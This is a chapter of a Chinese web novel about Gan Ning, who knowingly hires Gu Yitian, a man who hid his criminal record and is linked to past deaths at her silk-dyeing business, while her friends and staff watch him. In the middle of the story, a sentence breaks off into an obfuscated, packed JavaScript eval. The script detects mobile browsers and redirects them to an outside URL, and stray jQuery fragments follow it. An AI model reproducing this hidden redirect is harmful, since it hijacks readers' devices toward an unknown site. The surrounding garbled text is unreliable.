卜思凡：“你说什么？”


    甘宁：“我是认真的。在他看来，我还处于阶段性失忆的状态，他对我大概是毫无防备的，所以才会主动送上门。虽然不知道他的动机是什么，但这说不定是个机会，一个可以让我们了解到完整真相的机会。思思，你难道不想知道吗？”


    “我当然想知道……无论是方临溪，还是方景云，都死得太奇怪了……可是，我不要你冒险。我不要！一定还有其他方法。”


    “思思，这不是冒险，这是反击。人证既然来了，我不可能放他走。再说了，我不是还有你们吗？”


    甘宁说着，握住叶雅苓和卜思凡的手：“谢谢你们，一直在我身边。我没有强大到一往无前，但也不是易碎的瓷娃娃。我能走到现在，全靠在我身边的你们。也许这么说有些任性，但在这件事上，你们会支持我的，对吗？”


    叶雅苓用力回握，笑道：“当然。没有你的日子太无聊了，我还指望你给我挣钱呢。”


    这个回答让卜思凡觉得不可思议：“叶雅苓，你个叛徒！”


    叶雅苓眯起双眼：“你不是还跟我吐槽，觉得你这位好朋友为人处世太淡了吗？就连财产被人家夺光光，也还在那里笑嘻嘻地替别人数钱，感恩戴德。她现在终于要起航了，你难道不觉得高兴吗？”


    甘宁没想到她们已经深入交流到这种程度，竟然还在背后蛐蛐自己。


    卜思凡也没想到叶雅苓如此不讲武德，竟然直接倒戈，当面爆料，这闺蜜是做不成了。


    她气鼓鼓地说：“好你个叶雅苓，绝交！”


    对方无视她的威胁，摊开双手：“我说得有错吗？你不是跟我扯什么要改造甘宁吗？现在快要成功啦。”


    “你！”


    “哦，原来你们瞒着我偷偷达成的共识就是这个……”甘宁危险地眯起了双眼。


    “你别听她乱说，”卜思凡靠过来，抱住她的手臂，说，“什么改造不改造，什么香云纱宏图霸业，那都是闹着玩的。顾一天再次出现以后，我突然觉得，那都不重要了，只要你开开心心，平平安安的就好。


    “不是说留得青山在不怕没柴烧吗？事业什么的那都可以慢慢来，为什么要放个定时炸弹在自己身边呢？”


    甘宁：“可我现在浑身是火，就想要努力燃烧一把，只要这样我就很开心了。祖宗你这么疼我，一定会如我所愿，让我开开心心的，对不对？”


    “……”


    卜思凡语塞。


    这都是从哪学来的给人挖坑的臭毛病？说不过，完全说不过！


    单纯的外星人为什么要这么想不开跟两个满肚子花花肠子的蓝星人争论？


    卜思凡：“算了，你爱咋咋地……但从今天开始，你不能离开我的视线范围。”


    “啊……那上厕所怎么办？”


    “……我在门口守着。”


    “洗澡呢？”


    “……我有小黑。”


    “小黑是什么？”叶雅苓在旁边真诚发问。


    甘宁：“……”


    卜思凡：“……反正这是我的条件。”


    甘宁知道事情成了，有意逗她，结果倒是一旁的叶雅苓笑出了声。


    笑完了，她说：“既然准备好了，只有我们两个知情，那可不行。还不知道顾一天身后都有谁呢。”


    甘宁：“你的意思是……”


    卜思凡：“我现在就把他们叫来。”


    叶雅苓：“诶诶，不急这一时。现在先好好休息，明天正式开始，狩猎。”


    第二天，尽职尽责的BP便把顾一天的背调报告放在了甘宁的桌面上。


    BP：“甘总，这个人故意隐瞒了犯罪记录，我还是回绝掉吧。”


    甘宁简单扫了一眼，将报告递回去给她，说：“不必，把报告和全部电子记录销毁了，不要留痕迹。记住了，我们对此完全不知情。然后，让他正常走流程，办理入职。”


    BP：“甘总，这似乎有些不妥。假如他诚实告知，我觉得是可以给机会的，可他撒谎了，这是原则性问题……”


    甘宁知道她办事严谨、妥帖，凡事都以她为先，不然也用不着加班，就为了查一名晒莨工人的底细。


    她朝BP招了招手，示意她走到自己身边……


    大概聊了有半个小时，BP才终于从甘宁的办公室里出来。


    她的办公位置和甘宁的只有一墙玻璃之隔。


    她坐到自己的位置上，深吸一口气，随后拿起座机，拨通了顾一天的电话。


    只响了一声，对面便已接通。


    BP的脸瞬间冷了下来。


    她的嘴角刻意上扬，电话里的腔调叫人如沐春风：“你好，请问是顾先生吗？恭喜你顺利通过了面试，不知道你的意向如何？好的，offer和入职流程稍后将发送到你手机上，请注意查收，有什么疑问欢迎随时联系我。好的，再见。”


    身后的百叶窗帘缓缓旋开，BP扭头朝甘宁做了个手势：OK。


    “我OK，没有问题。嗯嗯，好的。”顾一天挂断了电话，激动得几乎跳了起来，“Yes！太好了！”


    不多时，他的手机便收到了体检要求。


    他将里面的内容一一扫过，随后打开了手机相册。


    相册里空空如也，只有一个从网上下载下来的小视频，那是甘宁在拼盘秀直播上的切片。


    五光十色倒映在他的瞳孔里，不停地反复播放。


    “太好了，”他有些痴迷地看着视频上的身影，“你不记得我了，真是太好了。”


    他早早定好闹钟，到医院做体检，开银行卡，又用仅剩的一点积蓄，添置了几套便宜的衣服，终于在拿到体检报告之后，提着他那印有国旅商标的旅行袋，住进了宁莨云裳的晒莨组宿舍。


    BP把宿舍钥匙交到他手上：“因为其他宿舍暂时都满人了，你就先和沈主管一个屋吧。”


    “沈主管？他也住宿舍吗？”


    “这里离晒地近，赶工或者天气不好的时候，他就会住这里，平常一般不在。”BP笑着拍了拍他的后背，说，“你小子，捡到宝啦，沈主管这里经常有汤喝的。”


    顾一天不习惯肢体接触，在BP温柔的笑容面前，感到些许羞赧。他不知道该怎么回应，只低着头傻傻地笑。


    BP：“被子床褥有现成的，就在柜子里。要是没其他事情的话，你先自己收拾一下，等下九点钟准时到晒地找沈主管报到，明白吗？”


    “行……可以，没有问题……”


    “那我先去忙了。”


    BP笑着看了他一眼，转身走了。


    空荡荡的宿舍里，顾一天四处逡巡。


    独立阳台面朝南州水道，白日里没有风，但到了晚上，当郊野的风灌入城市，带着南州特有的泥水味道，丝丝缕缕地唤起昔日的回忆。


    ——一天，别去那边，危险。


    ——师父，没事，我想试试那边的河泥。


    ——不行，水深，万一陷进去了怎么办？诶诶诶！你看看！还好我眼疾手快！来，抓紧我的手臂，上来！


    他的师父是方临溪，还没来及退休，还没等到疼爱的小孙女成年就遗憾下线了的方临溪。


    而这一切，都和他有关。


    他一边观察，一边走到沈晴山的书桌前。


    上面除了简单的生活用品，还摆放着三只喝奶茶赠送的小鸭子。小鸭子的胸脯上，分别用圆形标签贴着三个字：山、宁、姚。


    小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772649|169887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    鸭子的旁边，有个相框，上面放着宁莨云裳全体员工的大合照。


    照片里，甘宁和叶雅苓坐在正中间。


    他用手遮挡住了周围其他人，独独留下甘宁的脸，然后拿起手机，将它拍下。


    随后，他有些不舍地松开手，上面的指纹清晰可见。他慌忙用衣摆擦掉，放回原位。


    他把行李塞进柜子里，锁好，跑下楼梯，跑向晒场上的沈晴山。


    七月初，小暑，太阳从上午五点半便开始炙烤大地，一直等到晚上七点半才会停歇。


    整整十四个小时，太阳入射角长期接近九十度，源源不断地往南州的大地注入热量。


    顾一天戴着斗笠，裤兜里习惯性地揣着一条毛巾。


    他动作利索地跑到沈晴山面前，突然挺直了腰杆：“沈主管，需要我做什么？”


    太阳太大了，两人都眯起了双眼，打量着对方。


    顾一天的肢体有点出乎沈晴山的意料，明明数天前还是佝偻着背，现在一来到晒地，却感觉换了个人。就像是身上的束缚被解开了，竟变得清爽了许多。


    可现在不是说这个的时候，九点未到，这片大地就已经暑气逼人，再这样下去，香云纱还没晒好，坯布里头的纤维估计就得被晒断。


    沈晴山：“太阳太猛了，踢杆估计得加人手，你先到那边帮忙。然后快到中午的时候，你负责到C区那一片收纱，动作得快，不然这些面料估计得废。然后等过了两点，再把它们重新拿出来晒，中间可以休息一下，明白吗？”


    他的判断是对的。


    顾一天认真点了点头，便跟着他们一起忙去了。


    甘宁站在窗前，远远地看着他们忙活。


    一连数日，顾一天就像是个沉默的晒莨机器，话不多，只专心晒莨。


    因为卖力肯干，也不邀功，他很快便被原有的十八铜人所接纳，无论是吃饭还是平时上下班，他都鲜少一个人，看不出半点可疑之处。


    可比起十八铜人，他似乎更喜欢粘着沈晴山，每天都有说不完的话题。


    一天晚上，沈晴山和隋小姚又在甘宁的小院里打火锅。


    甘宁忍不住问沈晴山：“你们每天这样黏在一起，自成结界，到底都在聊什么？”


    沈晴山嗦进去一小捆金针菇，说：“嘿，你说这个，我本来还打算晚点告诉你的。但顾一天这人的情况敏感，我还是提前把东西给你看看吧。”


    说着，他拿起手机，将一张草图发给了甘宁：“这是半自动晒莨系统，自从你上次被冰雹砸伤，我就琢磨了很久。没想到顾一天这小子在监狱里还自学了自动化，也有一些想法，所以我们平常就多聊了点。”


    隋小姚：“你把自己的设计图给他看了？”


    “放心，自从知道了他的底细，我不得防着点？但怎么说呢……他吧，其实比我们也大不了多少，也就五、六岁的差距，要是没有当年的事，他现在应该也能混得人模狗样的吧。”


    隋小姚长筷一指：“你该不会心软倒戈了吧？”


    沈晴山瞪了她一眼：“这都哪跟哪？放心，任他怎么厉害，也撼动不了你们俩在我心里的地位。”


    “那还差不多。”


    一旁的甘宁和卜思凡相互交换了个眼神，同时陷入了沉默。


    忽然，甘宁的手机响了，屏幕上显示着来电信息：岑桂英。


    “诶，桂英，怎么了？”


    “那个……最新一批薯莨，你们还满意吗？”


    “很好啊，质量很不错。”


    “那、那就好……那个，既然这样……”不知是信号原因，还是声音原有的问题，岑桂英显得有些发虚，“甘总，你要不要考虑把我的农场买下来……我可以给你算便宜点。”